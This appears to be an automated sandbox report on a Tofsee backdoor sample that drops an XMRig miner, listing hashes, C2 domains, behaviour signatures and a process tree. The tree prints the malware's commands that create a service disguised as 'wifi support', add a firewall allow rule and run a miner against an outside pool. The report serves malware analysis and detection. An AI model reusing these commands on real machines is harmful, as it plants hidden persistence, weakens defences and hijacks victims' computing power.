Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    08/01/2023, 08:43

General

  • Target

    390f4f020e690300200db6b8cf00e5cb4cde887b8249e731a095aced7a1bef82.exe

  • Size

    263KB

  • MD5

    a35ce6fc97aa8fa54afa43808153bf33

  • SHA1

    3285adb85971400d48016ae77e2834646b07691b

  • SHA256

    390f4f020e690300200db6b8cf00e5cb4cde887b8249e731a095aced7a1bef82

  • SHA512

    32f7c0b61ba49438d89aed522898459bf34553f6385d4e394d3a0fcc56c02e589bfec74a927867fc578d7bdceb4eba622183e85c04e38afd19abb39ba85f68bf

  • SSDEEP

    3072:XXhV3FBEGLAF/jJNTvQp58q9ZL+OM/GY/Bs/WCQuLKWFV5iXpxOxqKPhKUZNTKXX:HwGLAFNNTvQnLEnsxQQKwiXtKPhOuN

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\390f4f020e690300200db6b8cf00e5cb4cde887b8249e731a095aced7a1bef82.exe
    "C:\Users\Admin\AppData\Local\Temp\390f4f020e690300200db6b8cf00e5cb4cde887b8249e731a095aced7a1bef82.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2432
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sgwkmmdj\
      2⤵
        PID:2156
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kegokekd.exe" C:\Windows\SysWOW64\sgwkmmdj\
        2⤵
          PID:4884
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sgwkmmdj binPath= "C:\Windows\SysWOW64\sgwkmmdj\kegokekd.exe /d\"C:\Users\Admin\AppData\Local\Temp\390f4f020e690300200db6b8cf00e5cb4cde887b8249e731a095aced7a1bef82.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4388
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sgwkmmdj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2904
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sgwkmmdj
          2⤵
          • Launches sc.exe
          PID:1488
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3744
      • C:\Windows\SysWOW64\sgwkmmdj\kegokekd.exe
        C:\Windows\SysWOW64\sgwkmmdj\kegokekd.exe /d"C:\Users\Admin\AppData\Local\Temp\390f4f020e690300200db6b8cf00e5cb4cde887b8249e731a095aced7a1bef82.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4312
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4160
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4744

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\kegokekd.exe

              Filesize

              12.7MB

              MD5

              21602858d3477d46b3afbe54156643ab

              SHA1

              83ad3f7e34049818e2f65475867d7bc454d29a00

              SHA256

              4a9e885c7fabf3eb7eccec9855a063635fb945205f28efd4c518b92f8751da06

              SHA512

              789d6b5fb7f59fc8f99fc04190cf83d064e3f458748c52864572163cb750b8aa7fe7b51422826924c5345fdc2cb784c9a4c5ca1ae613e84c335c4ee87048fec6

            • C:\Windows\SysWOW64\sgwkmmdj\kegokekd.exe

              Filesize

              12.7MB

              MD5

              21602858d3477d46b3afbe54156643ab

              SHA1

              83ad3f7e34049818e2f65475867d7bc454d29a00

              SHA256

              4a9e885c7fabf3eb7eccec9855a063635fb945205f28efd4c518b92f8751da06

              SHA512

              789d6b5fb7f59fc8f99fc04190cf83d064e3f458748c52864572163cb750b8aa7fe7b51422826924c5345fdc2cb784c9a4c5ca1ae613e84c335c4ee87048fec6

            • memory/2156-172-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2156-171-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2156-170-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2156-169-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2156-168-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-158-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-120-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-127-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-128-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-129-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-130-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-131-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-132-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-133-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-134-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-135-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-136-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-161-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-138-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-139-0x0000000002D1A000-0x0000000002D2B000-memory.dmp

              Filesize

              68KB

            • memory/2432-140-0x00000000048E0000-0x00000000048F3000-memory.dmp

              Filesize

              76KB

            • memory/2432-141-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-142-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-143-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-144-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-145-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-146-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-147-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-148-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-149-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-150-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-151-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-152-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-153-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-154-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-155-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-156-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-157-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-116-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-159-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-160-0x0000000000400000-0x0000000002BAA000-memory.dmp

              Filesize

              39.7MB

            • memory/2432-137-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-126-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-237-0x0000000000400000-0x0000000002BAA000-memory.dmp

              Filesize

              39.7MB

            • memory/2432-164-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-165-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-166-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-125-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-124-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-123-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-122-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-121-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-162-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-225-0x00000000048E0000-0x00000000048F3000-memory.dmp

              Filesize

              76KB

            • memory/2432-222-0x0000000002D1A000-0x0000000002D2B000-memory.dmp

              Filesize

              68KB

            • memory/2432-117-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-118-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-163-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2432-119-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/2904-186-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/4160-486-0x0000000002FE0000-0x0000000002FF5000-memory.dmp

              Filesize

              84KB

            • memory/4160-394-0x0000000002FE0000-0x0000000002FF5000-memory.dmp

              Filesize

              84KB

            • memory/4312-348-0x0000000000400000-0x0000000002BAA000-memory.dmp

              Filesize

              39.7MB

            • memory/4312-335-0x0000000002D94000-0x0000000002DA4000-memory.dmp

              Filesize

              64KB

            • memory/4312-305-0x0000000002D94000-0x0000000002DA4000-memory.dmp

              Filesize

              64KB

            • memory/4388-184-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/4388-187-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/4388-183-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/4388-182-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/4388-181-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/4884-178-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/4884-174-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/4884-177-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/4884-175-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB

            • memory/4884-176-0x0000000076EF0000-0x000000007707E000-memory.dmp

              Filesize

              1.6MB